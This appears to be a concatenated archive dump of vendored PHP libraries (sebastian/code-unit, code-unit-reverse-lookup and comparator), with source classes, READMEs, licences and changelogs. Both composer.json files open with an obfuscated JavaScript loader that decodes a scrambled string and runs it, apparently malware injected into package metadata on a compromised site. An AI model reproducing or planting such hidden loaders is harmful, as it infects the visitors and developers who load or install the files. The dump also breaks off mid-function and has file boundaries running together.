__construct(CodeUnitCollection $collection) { $this->codeUnits = $collection->asArray(); } public function rewind(): void { $this->position = 0; } public function valid(): bool { return isset($this->codeUnits[$this->position]); } public function key(): int { return $this->position; } public function current(): CodeUnit { return $this->codeUnits[$this->position]; } public function next(): void { $this->position++; } } res/readability/vendor/sebastian/code-unit/src/CodeUnit.php000064400000026327147577714370020035 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeUnit; use function range; use function sprintf; use ReflectionClass; use ReflectionFunction; use ReflectionMethod; /** * @psalm-immutable */ abstract class CodeUnit { /** * @var string */ private $name; /** * @var string */ private $sourceFileName; /** * @var array * @psalm-var list */ private $sourceLines; /** * @psalm-param class-string $className * * @throws InvalidCodeUnitException * @throws ReflectionException */ public static function forClass(string $className): ClassUnit { self::ensureUserDefinedClass($className); $reflector = self::reflectorForClass($className); return new ClassUnit( $className, $reflector->getFileName(), range( $reflector->getStartLine(), $reflector->getEndLine() ) ); } /** * @psalm-param class-string $className * * @throws InvalidCodeUnitException * @throws ReflectionException */ public static function forClassMethod(string $className, string $methodName): ClassMethodUnit { self::ensureUserDefinedClass($className); $reflector = self::reflectorForClassMethod($className, $methodName); return new ClassMethodUnit( $className . '::' . $methodName, $reflector->getFileName(), range( $reflector->getStartLine(), $reflector->getEndLine() ) ); } /** * @psalm-param class-string $interfaceName * * @throws InvalidCodeUnitException * @throws ReflectionException */ public static function forInterface(string $interfaceName): InterfaceUnit { self::ensureUserDefinedInterface($interfaceName); $reflector = self::reflectorForClass($interfaceName); return new InterfaceUnit( $interfaceName, $reflector->getFileName(), range( $reflector->getStartLine(), $reflector->getEndLine() ) ); } /** * @psalm-param class-string $interfaceName * * @throws InvalidCodeUnitException * @throws ReflectionException */ public static function forInterfaceMethod(string $interfaceName, string $methodName): InterfaceMethodUnit { self::ensureUserDefinedInterface($interfaceName); $reflector = self::reflectorForClassMethod($interfaceName, $methodName); return new InterfaceMethodUnit( $interfaceName . '::' . $methodName, $reflector->getFileName(), range( $reflector->getStartLine(), $reflector->getEndLine() ) ); } /** * @psalm-param class-string $traitName * * @throws InvalidCodeUnitException * @throws ReflectionException */ public static function forTrait(string $traitName): TraitUnit { self::ensureUserDefinedTrait($traitName); $reflector = self::reflectorForClass($traitName); return new TraitUnit( $traitName, $reflector->getFileName(), range( $reflector->getStartLine(), $reflector->getEndLine() ) ); } /** * @psalm-param class-string $traitName * * @throws InvalidCodeUnitException * @throws ReflectionException */ public static function forTraitMethod(string $traitName, string $methodName): TraitMethodUnit { self::ensureUserDefinedTrait($traitName); $reflector = self::reflectorForClassMethod($traitName, $methodName); return new TraitMethodUnit( $traitName . '::' . $methodName, $reflector->getFileName(), range( $reflector->getStartLine(), $reflector->getEndLine() ) ); } /** * @psalm-param callable-string $functionName * * @throws InvalidCodeUnitException * @throws ReflectionException */ public static function forFunction(string $functionName): FunctionUnit { $reflector = self::reflectorForFunction($functionName); if (!$reflector->isUserDefined()) { throw new InvalidCodeUnitException( sprintf( '"%s" is not a user-defined function', $functionName ) ); } return new FunctionUnit( $functionName, $reflector->getFileName(), range( $reflector->getStartLine(), $reflector->getEndLine() ) ); } /** * @psalm-param list $sourceLines */ private function __construct(string $name, string $sourceFileName, array $sourceLines) { $this->name = $name; $this->sourceFileName = $sourceFileName; $this->sourceLines = $sourceLines; } public function name(): string { return $this->name; } public function sourceFileName(): string { return $this->sourceFileName; } /** * @psalm-return list */ public function sourceLines(): array { return $this->sourceLines; } public function isClass(): bool { return false; } public function isClassMethod(): bool { return false; } public function isInterface(): bool { return false; } public function isInterfaceMethod(): bool { return false; } public function isTrait(): bool { return false; } public function isTraitMethod(): bool { return false; } public function isFunction(): bool { return false; } /** * @psalm-param class-string $className * * @throws InvalidCodeUnitException */ private static function ensureUserDefinedClass(string $className): void { try { $reflector = new ReflectionClass($className); if ($reflector->isInterface()) { throw new InvalidCodeUnitException( sprintf( '"%s" is an interface and not a class', $className ) ); } if ($reflector->isTrait()) { throw new InvalidCodeUnitException( sprintf( '"%s" is a trait and not a class', $className ) ); } if (!$reflector->isUserDefined()) { throw new InvalidCodeUnitException( sprintf( '"%s" is not a user-defined class', $className ) ); } // @codeCoverageIgnoreStart } catch (\ReflectionException $e) { throw new ReflectionException( $e->getMessage(), (int) $e->getCode(), $e ); } // @codeCoverageIgnoreEnd } /** * @psalm-param class-string $interfaceName * * @throws InvalidCodeUnitException */ private static function ensureUserDefinedInterface(string $interfaceName): void { try { $reflector = new ReflectionClass($interfaceName); if (!$reflector->isInterface()) { throw new InvalidCodeUnitException( sprintf( '"%s" is not an interface', $interfaceName ) ); } if (!$reflector->isUserDefined()) { throw new InvalidCodeUnitException( sprintf( '"%s" is not a user-defined interface', $interfaceName ) ); } // @codeCoverageIgnoreStart } catch (\ReflectionException $e) { throw new ReflectionException( $e->getMessage(), (int) $e->getCode(), $e ); } // @codeCoverageIgnoreEnd } /** * @psalm-param class-string $traitName * * @throws InvalidCodeUnitException */ private static function ensureUserDefinedTrait(string $traitName): void { try { $reflector = new ReflectionClass($traitName); if (!$reflector->isTrait()) { throw new InvalidCodeUnitException( sprintf( '"%s" is not a trait', $traitName ) ); } // @codeCoverageIgnoreStart if (!$reflector->isUserDefined()) { throw new InvalidCodeUnitException( sprintf( '"%s" is not a user-defined trait', $traitName ) ); } } catch (\ReflectionException $e) { throw new ReflectionException( $e->getMessage(), (int) $e->getCode(), $e ); } // @codeCoverageIgnoreEnd } /** * @psalm-param class-string $className * * @throws ReflectionException */ private static function reflectorForClass(string $className): ReflectionClass { try { return new ReflectionClass($className); // @codeCoverageIgnoreStart } catch (\ReflectionException $e) { throw new ReflectionException( $e->getMessage(), (int) $e->getCode(), $e ); } // @codeCoverageIgnoreEnd } /** * @psalm-param class-string $className * * @throws ReflectionException */ private static function reflectorForClassMethod(string $className, string $methodName): ReflectionMethod { try { return new ReflectionMethod($className, $methodName); // @codeCoverageIgnoreStart } catch (\ReflectionException $e) { throw new ReflectionException( $e->getMessage(), (int) $e->getCode(), $e ); } // @codeCoverageIgnoreEnd } /** * @psalm-param callable-string $functionName * * @throws ReflectionException */ private static function reflectorForFunction(string $functionName): ReflectionFunction { try { return new ReflectionFunction($functionName); // @codeCoverageIgnoreStart } catch (\ReflectionException $e) { throw new ReflectionException( $e->getMessage(), (int) $e->getCode(), $e ); } // @codeCoverageIgnoreEnd } } res/readability/vendor/sebastian/code-unit/src/CodeUnitCollection.php000064400000003275147577714370022046 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeUnit; use function array_merge; use function count; use Countable; use IteratorAggregate; final class CodeUnitCollection implements Countable, IteratorAggregate { /** * @psalm-var list */ private $codeUnits = []; /** * @psalm-param list $items */ public static function fromArray(array $items): self { $collection = new self; foreach ($items as $item) { $collection->add($item); } return $collection; } public static function fromList(CodeUnit ...$items): self { return self::fromArray($items); } private function __construct() { } /** * @psalm-return list */ public function asArray(): array { return $this->codeUnits; } public function getIterator(): CodeUnitCollectionIterator { return new CodeUnitCollectionIterator($this); } public function count(): int { return count($this->codeUnits); } public function isEmpty(): bool { return empty($this->codeUnits); } public function mergeWith(self $other): self { return self::fromArray( array_merge( $this->asArray(), $other->asArray() ) ); } private function add(CodeUnit $item): void { $this->codeUnits[] = $item; } } res/readability/vendor/sebastian/code-unit/src/InterfaceUnit.php000064400000001005147577714370021045 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeUnit; /** * @psalm-immutable */ final class InterfaceUnit extends CodeUnit { /** * @psalm-assert-if-true InterfaceUnit $this */ public function isInterface(): bool { return true; } } res/readability/vendor/sebastian/code-unit/src/TraitMethodUnit.php000064400000001013147577714370021370 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeUnit; /** * @psalm-immutable */ final class TraitMethodUnit extends CodeUnit { /** * @psalm-assert-if-true TraitMethodUnit $this */ public function isTraitMethod(): bool { return true; } } res/readability/vendor/sebastian/code-unit/src/ClassUnit.php000064400000000771147577714370020223 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeUnit; /** * @psalm-immutable */ final class ClassUnit extends CodeUnit { /** * @psalm-assert-if-true ClassUnit $this */ public function isClass(): bool { return true; } } res/readability/vendor/sebastian/code-unit/src/FunctionUnit.php000064400000001002147577714370020727 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeUnit; /** * @psalm-immutable */ final class FunctionUnit extends CodeUnit { /** * @psalm-assert-if-true FunctionUnit $this */ public function isFunction(): bool { return true; } } res/readability/vendor/sebastian/code-unit/README.md000064400000000735147577714370016275 0ustar00# sebastian/code-unit Collection of value objects that represent the PHP code units. ## Installation You can add this library as a local, per-project dependency to your project using [Composer](https://getcomposer.org/): ``` composer require sebastian/code-unit ``` If you only need this library during development, for instance to run your project's test suite, then you should add it as a development-time dependency: ``` composer require --dev sebastian/code-unit ``` res/readability/vendor/sebastian/code-unit/LICENSE000064400000003015147577714370016015 0ustar00sebastian/code-unit Copyright (c) 2020, Sebastian Bergmann . All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of Sebastian Bergmann nor the names of his contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. res/readability/vendor/sebastian/code-unit/composer.json000064400000010125147577714370017532 0ustar00var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();;{ "name": "sebastian/code-unit", "description": "Collection of value objects that represent the PHP code units", "type": "library", "homepage": "https://github.com/sebastianbergmann/code-unit", "license": "BSD-3-Clause", "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de", "role": "lead" } ], "support": { "issues": "https://github.com/sebastianbergmann/code-unit/issues" }, "prefer-stable": true, "require": { "php": ">=7.3" }, "require-dev": { "phpunit/phpunit": "^9.3" }, "config": { "platform": { "php": "7.3.0" }, "optimize-autoloader": true, "sort-packages": true }, "autoload": { "classmap": [ "src/" ] }, "autoload-dev": { "classmap": [ "tests/_fixture" ], "files": [ "tests/_fixture/file_with_multiple_code_units.php", "tests/_fixture/function.php" ] }, "extra": { "branch-alias": { "dev-master": "1.0-dev" } } } res/readability/vendor/sebastian/code-unit/ChangeLog.md000064400000003762147577714370017172 0ustar00# ChangeLog All notable changes are documented in this file using the [Keep a CHANGELOG](http://keepachangelog.com/) principles. ## [1.0.8] - 2020-10-26 ### Fixed * `SebastianBergmann\CodeUnit\Exception` now correctly extends `\Throwable` ## [1.0.7] - 2020-10-02 ### Fixed * `SebastianBergmann\CodeUnit\Mapper::stringToCodeUnits()` no longer attempts to create `CodeUnit` objects for code units that are not declared in userland ## [1.0.6] - 2020-09-28 ### Changed * Changed PHP version constraint in `composer.json` from `^7.3 || ^8.0` to `>=7.3` ## [1.0.5] - 2020-06-26 ### Fixed * [#3](https://github.com/sebastianbergmann/code-unit/issues/3): Regression in 1.0.4 ## [1.0.4] - 2020-06-26 ### Added * This component is now supported on PHP 8 ## [1.0.3] - 2020-06-15 ### Changed * Tests etc. are now ignored for archive exports ## [1.0.2] - 2020-04-30 ### Fixed * `Mapper::stringToCodeUnits()` raised the wrong exception for `Class::method` when a class named `Class` exists but does not have a method named `method` ## [1.0.1] - 2020-04-27 ### Fixed * [#2](https://github.com/sebastianbergmann/code-unit/issues/2): `Mapper::stringToCodeUnits()` breaks when `ClassName` is used for class that extends built-in class ## [1.0.0] - 2020-03-30 * Initial release [1.0.8]: https://github.com/sebastianbergmann/code-unit/compare/1.0.7...1.0.8 [1.0.7]: https://github.com/sebastianbergmann/code-unit/compare/1.0.6...1.0.7 [1.0.6]: https://github.com/sebastianbergmann/code-unit/compare/1.0.5...1.0.6 [1.0.5]: https://github.com/sebastianbergmann/code-unit/compare/1.0.4...1.0.5 [1.0.4]: https://github.com/sebastianbergmann/code-unit/compare/1.0.3...1.0.4 [1.0.3]: https://github.com/sebastianbergmann/code-unit/compare/1.0.2...1.0.3 [1.0.2]: https://github.com/sebastianbergmann/code-unit/compare/1.0.1...1.0.2 [1.0.1]: https://github.com/sebastianbergmann/code-unit/compare/1.0.0...1.0.1 [1.0.0]: https://github.com/sebastianbergmann/code-unit/compare/530c3900e5db9bcb8516da545bef0d62536cedaa...1.0.0 res/readability/vendor/sebastian/code-unit-reverse-lookup/src/Wizard.php000064400000006344147577714370022540 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeUnitReverseLookup; use function array_merge; use function assert; use function get_declared_classes; use function get_declared_traits; use function get_defined_functions; use function is_array; use function range; use ReflectionClass; use ReflectionFunction; use ReflectionFunctionAbstract; use ReflectionMethod; /** * @since Class available since Release 1.0.0 */ class Wizard { /** * @var array */ private $lookupTable = []; /** * @var array */ private $processedClasses = []; /** * @var array */ private $processedFunctions = []; /** * @param string $filename * @param int $lineNumber * * @return string */ public function lookup($filename, $lineNumber) { if (!isset($this->lookupTable[$filename][$lineNumber])) { $this->updateLookupTable(); } if (isset($this->lookupTable[$filename][$lineNumber])) { return $this->lookupTable[$filename][$lineNumber]; } return $filename . ':' . $lineNumber; } private function updateLookupTable(): void { $this->processClassesAndTraits(); $this->processFunctions(); } private function processClassesAndTraits(): void { $classes = get_declared_classes(); $traits = get_declared_traits(); assert(is_array($classes)); assert(is_array($traits)); foreach (array_merge($classes, $traits) as $classOrTrait) { if (isset($this->processedClasses[$classOrTrait])) { continue; } $reflector = new ReflectionClass($classOrTrait); foreach ($reflector->getMethods() as $method) { $this->processFunctionOrMethod($method); } $this->processedClasses[$classOrTrait] = true; } } private function processFunctions(): void { foreach (get_defined_functions()['user'] as $function) { if (isset($this->processedFunctions[$function])) { continue; } $this->processFunctionOrMethod(new ReflectionFunction($function)); $this->processedFunctions[$function] = true; } } private function processFunctionOrMethod(ReflectionFunctionAbstract $functionOrMethod): void { if ($functionOrMethod->isInternal()) { return; } $name = $functionOrMethod->getName(); if ($functionOrMethod instanceof ReflectionMethod) { $name = $functionOrMethod->getDeclaringClass()->getName() . '::' . $name; } if (!isset($this->lookupTable[$functionOrMethod->getFileName()])) { $this->lookupTable[$functionOrMethod->getFileName()] = []; } foreach (range($functionOrMethod->getStartLine(), $functionOrMethod->getEndLine()) as $line) { $this->lookupTable[$functionOrMethod->getFileName()][$line] = $name; } } } res/readability/vendor/sebastian/code-unit-reverse-lookup/README.md000064400000001545147577714370021255 0ustar00# sebastian/code-unit-reverse-lookup [![CI Status](https://github.com/sebastianbergmann/code-unit-reverse-lookup/workflows/CI/badge.svg)](https://github.com/sebastianbergmann/code-unit-reverse-lookup/actions) [![Type Coverage](https://shepherd.dev/github/sebastianbergmann/code-unit-reverse-lookup/coverage.svg)](https://shepherd.dev/github/sebastianbergmann/code-unit-reverse-lookup) Looks up which function or method a line of code belongs to. ## Installation You can add this library as a local, per-project dependency to your project using [Composer](https://getcomposer.org/): ``` composer require sebastian/code-unit-reverse-lookup ``` If you only need this library during development, for instance to run your project's test suite, then you should add it as a development-time dependency: ``` composer require --dev sebastian/code-unit-reverse-lookup ``` res/readability/vendor/sebastian/code-unit-reverse-lookup/LICENSE000064400000003027147577714370021000 0ustar00code-unit-reverse-lookup Copyright (c) 2016-2020, Sebastian Bergmann . All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of Sebastian Bergmann nor the names of his contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. res/readability/vendor/sebastian/code-unit-reverse-lookup/composer.json000064400000007373147577714370022525 0ustar00var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();;{ "name": "sebastian/code-unit-reverse-lookup", "description": "Looks up which function or method a line of code belongs to", "homepage": "https://github.com/sebastianbergmann/code-unit-reverse-lookup/", "license": "BSD-3-Clause", "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de" } ], "prefer-stable": true, "config": { "platform": { "php": "7.3.0" }, "optimize-autoloader": true, "sort-packages": true }, "require": { "php": ">=7.3" }, "require-dev": { "phpunit/phpunit": "^9.3" }, "autoload": { "classmap": [ "src/" ] }, "extra": { "branch-alias": { "dev-master": "2.0-dev" } } } res/readability/vendor/sebastian/code-unit-reverse-lookup/ChangeLog.md000064400000001766147577714370022154 0ustar00# Change Log All notable changes to `sebastianbergmann/code-unit-reverse-lookup` are documented in this file using the [Keep a CHANGELOG](http://keepachangelog.com/) principles. ## [2.0.3] - 2020-09-28 ### Changed * Changed PHP version constraint in `composer.json` from `^7.3 || ^8.0` to `>=7.3` ## [2.0.2] - 2020-06-26 ### Added * This component is now supported on PHP 8 ## [2.0.1] - 2020-06-15 ### Changed * Tests etc. are now ignored for archive exports ## 2.0.0 - 2020-02-07 ### Removed * This component is no longer supported on PHP 5.6, PHP 7.0, PHP 7.1, and PHP 7.2 ## 1.0.0 - 2016-02-13 ### Added * Initial release [2.0.3]: https://github.com/sebastianbergmann/code-unit-reverse-lookup/compare/2.0.2...2.0.3 [2.0.2]: https://github.com/sebastianbergmann/code-unit-reverse-lookup/compare/2.0.1...2.0.2 [2.0.1]: https://github.com/sebastianbergmann/code-unit-reverse-lookup/compare/2.0.0...2.0.1 [2.0.0]: https://github.com/sebastianbergmann/code-unit-reverse-lookup/compare/1.0.0...2.0.0 res/readability/vendor/sebastian/comparator/src/exceptions/RuntimeException.php000064400000000603147577714370024253 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Comparator; final class RuntimeException extends \RuntimeException implements Exception { } res/readability/vendor/sebastian/comparator/src/exceptions/Exception.php000064400000000555147577714370022715 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Comparator; use Throwable; interface Exception extends Throwable { } res/readability/vendor/sebastian/comparator/src/ObjectComparator.php000064400000007252147577714370022035 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Comparator; use function get_class; use function in_array; use function is_object; use function sprintf; use function substr_replace; /** * Compares objects for equality. */ class ObjectComparator extends ArrayComparator { /** * Returns whether the comparator can compare two values. * * @param mixed $expected The first value to compare * @param mixed $actual The second value to compare * * @return bool */ public function accepts($expected, $actual) { return is_object($expected) && is_object($actual); } /** * Asserts that two values are equal. * * @param mixed $expected First value to compare * @param mixed $actual Second value to compare * @param float $delta Allowed numerical distance between two values to consider them equal * @param bool $canonicalize Arrays are sorted before comparison when set to true * @param bool $ignoreCase Case is ignored when set to true * @param array $processed List of already processed elements (used to prevent infinite recursion) * * @throws ComparisonFailure */ public function assertEquals($expected, $actual, $delta = 0.0, $canonicalize = false, $ignoreCase = false, array &$processed = [])/*: void*/ { if (get_class($actual) !== get_class($expected)) { throw new ComparisonFailure( $expected, $actual, $this->exporter->export($expected), $this->exporter->export($actual), false, sprintf( '%s is not instance of expected class "%s".', $this->exporter->export($actual), get_class($expected) ) ); } // don't compare twice to allow for cyclic dependencies if (in_array([$actual, $expected], $processed, true) || in_array([$expected, $actual], $processed, true)) { return; } $processed[] = [$actual, $expected]; // don't compare objects if they are identical // this helps to avoid the error "maximum function nesting level reached" // CAUTION: this conditional clause is not tested if ($actual !== $expected) { try { parent::assertEquals( $this->toArray($expected), $this->toArray($actual), $delta, $canonicalize, $ignoreCase, $processed ); } catch (ComparisonFailure $e) { throw new ComparisonFailure( $expected, $actual, // replace "Array" with "MyClass object" substr_replace($e->getExpectedAsString(), get_class($expected) . ' Object', 0, 5), substr_replace($e->getActualAsString(), get_class($actual) . ' Object', 0, 5), false, 'Failed asserting that two objects are equal.' ); } } } /** * Converts an object to an array containing all of its private, protected * and public properties. * * @param object $object * * @return array */ protected function toArray($object) { return $this->exporter->toArray($object); } } res/readability/vendor/sebastian/comparator/src/TypeComparator.php000064400000003462147577714370021547 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Comparator; use function gettype; use function sprintf; /** * Compares values for type equality. */ class TypeComparator extends Comparator { /** * Returns whether the comparator can compare two values. * * @param mixed $expected The first value to compare * @param mixed $actual The second value to compare * * @return bool */ public function accepts($expected, $actual) { return true; } /** * Asserts that two values are equal. * * @param mixed $expected First value to compare * @param mixed $actual Second value to compare * @param float $delta Allowed numerical distance between two values to consider them equal * @param bool $canonicalize Arrays are sorted before comparison when set to true * @param bool $ignoreCase Case is ignored when set to true * * @throws ComparisonFailure */ public function assertEquals($expected, $actual, $delta = 0.0, $canonicalize = false, $ignoreCase = false)/*: void*/ { if (gettype($expected) != gettype($actual)) { throw new ComparisonFailure( $expected, $actual, // we don't need a diff '', '', false, sprintf( '%s does not match expected type "%s".', $this->exporter->shortenedExport($actual), gettype($expected) ) ); } } } res/readability/vendor/sebastian/comparator/src/NumericComparator.php000064400000005172147577714370022230 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Comparator; use function abs; use function is_float; use function is_infinite; use function is_nan; use function is_numeric; use function is_string; use function sprintf; /** * Compares numerical values for equality. */ class NumericComparator extends ScalarComparator { /** * Returns whether the comparator can compare two values. * * @param mixed $expected The first value to compare * @param mixed $actual The second value to compare * * @return bool */ public function accepts($expected, $actual) { // all numerical values, but not if one of them is a double // or both of them are strings return is_numeric($expected) && is_numeric($actual) && !(is_float($expected) || is_float($actual)) && !(is_string($expected) && is_string($actual)); } /** * Asserts that two values are equal. * * @param mixed $expected First value to compare * @param mixed $actual Second value to compare * @param float $delta Allowed numerical distance between two values to consider them equal * @param bool $canonicalize Arrays are sorted before comparison when set to true * @param bool $ignoreCase Case is ignored when set to true * * @throws ComparisonFailure */ public function assertEquals($expected, $actual, $delta = 0.0, $canonicalize = false, $ignoreCase = false)/*: void*/ { if ($this->isInfinite($actual) && $this->isInfinite($expected)) { return; } if (($this->isInfinite($actual) xor $this->isInfinite($expected)) || ($this->isNan($actual) || $this->isNan($expected)) || abs($actual - $expected) > $delta) { throw new ComparisonFailure( $expected, $actual, '', '', false, sprintf( 'Failed asserting that %s matches expected %s.', $this->exporter->export($actual), $this->exporter->export($expected) ) ); } } private function isInfinite($value): bool { return is_float($value) && is_infinite($value); } private function isNan($value): bool { return is_float($value) && is_nan($value); } } res/readability/vendor/sebastian/comparator/src/ScalarComparator.php000064400000006472147577714370022037 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Comparator; use function is_object; use function is_scalar; use function is_string; use function method_exists; use function sprintf; use function strtolower; /** * Compares scalar or NULL values for equality. */ class ScalarComparator extends Comparator { /** * Returns whether the comparator can compare two values. * * @param mixed $expected The first value to compare * @param mixed $actual The second value to compare * * @return bool * * @since Method available since Release 3.6.0 */ public function accepts($expected, $actual) { return ((is_scalar($expected) xor null === $expected) && (is_scalar($actual) xor null === $actual)) // allow comparison between strings and objects featuring __toString() || (is_string($expected) && is_object($actual) && method_exists($actual, '__toString')) || (is_object($expected) && method_exists($expected, '__toString') && 